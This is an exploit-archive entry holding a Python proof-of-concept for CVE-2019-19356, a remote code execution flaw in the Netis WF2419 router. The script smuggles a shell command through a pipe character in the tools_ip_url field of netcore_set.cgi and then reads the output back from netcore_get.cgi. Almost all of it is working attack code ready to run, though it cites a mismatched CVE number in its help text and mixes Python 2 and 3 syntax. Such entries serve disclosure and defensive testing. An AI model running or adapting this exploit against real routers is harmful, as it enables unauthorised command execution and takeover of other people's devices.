Share
# Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution   
# Exploit Author: Elias Issa  
# Vendor Homepage: http://www.netis-systems.com  
# Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/75  
# Date: 2020-02-11  
# Version: WF2419 V2.2.36123 => V2.2.36123  
# Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123  
# CVE : CVE-2019-19356  
  
  
# Proof of Concept: python netis_rce.py http://192.168.1.1 "ls"  
  
#!/usr/bin/env python  
import argparse  
import requests  
import json  
  
def exploit(host,cmd):  
# Send Payload  
headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0',   
'Content-Type': 'application/x-www-form-urlencoded'}  
post_data="mode_name=netcore_set&tools_type=2&tools_ip_url=|+"+cmd+"&tools_cmd=1&net_tools_set=1&wlan_idx_num=0"  
vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi"  
req_payload = requests.post(vulnerable_page, data=post_data, headers=headers_value)  
print('[+] Payload sent')  
try :  
json_data = json.loads(req_payload.text)  
if json_data[0] == "SUCCESS":  
print('[+] Exploit Sucess')  
# Get Command Result  
print('[+] Getting Command Output\n')  
result_page = host + "/cgi-bin-igd/netcore_get.cgi"  
post_data = "mode_name=netcore_get&no=no"   
req_result = requests.post(result_page, data=post_data, headers=headers_value)  
json_data = json.loads(req_result.text)  
results = json_data["tools_results"]  
print results.replace(';', '\n')  
else:  
print('[-] Exploit Failed')  
except:  
print("[!] You might need to login.")   
  
# To be implemented  
def login(user, password):  
print('To be implemented')  
  
def main():  
host = args.host  
cmd = args.cmd  
user = args.user  
password = args.password  
#login(user,password)  
exploit(host,cmd)  
  
if __name__ == "__main__":  
ap = argparse.ArgumentParser(  
description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]")  
ap.add_argument("host", help="URL (Example: http://192.168.1.1).")  
ap.add_argument("cmd", help="Command to run.")  
ap.add_argument("-u", "--user", help="Admin username (Default: admin).",  
default="admin")  
ap.add_argument("-p", "--password", help="Admin password (Default: admin).",  
default="admin")  
args = ap.parse_args()  
main()